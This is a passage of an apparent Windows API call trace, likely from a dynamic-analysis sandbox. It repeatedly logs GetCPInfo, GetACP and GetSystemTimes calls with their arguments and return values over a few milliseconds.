returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.683] GetACP () returned 0x4e4 [0053.683] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.683] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.684] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.684] GetACP () returned 0x4e4 [0053.684] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.685] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.685] GetACP () returned 0x4e4 [0053.685] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.686] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.686] GetACP () returned 0x4e4 [0053.686] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.687] GetACP () returned 0x4e4 [0053.687] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.687] GetACP () returned 0x4e4 [0053.687] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.687] GetACP () returned 0x4e4 [0053.687] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.687] GetACP () returned 0x4e4 [0053.687] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.687] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.687] GetACP () returned 0x4e4 [0053.687] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.688] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.688] GetACP () returned 0x4e4 [0053.688] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.689] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.689] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.689] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.690] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.690] GetACP () returned 0x4e4 [0053.690] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.691] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.691] GetACP () returned 0x4e4 [0053.691] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes 